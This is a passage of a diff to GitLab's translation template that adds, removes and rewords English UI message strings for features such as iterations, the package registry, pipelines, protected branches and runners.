@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
